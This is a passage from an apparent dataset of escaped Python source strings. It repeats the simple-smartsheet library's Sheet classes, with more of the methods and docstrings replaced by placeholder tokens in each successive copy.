result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n <docstring token>\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n <docstring token>\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n <function token>\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n <docstring token>\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n <function token>\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n <function token>\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n <docstring token>\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n <function token>\n <function token>\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n <function token>\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip 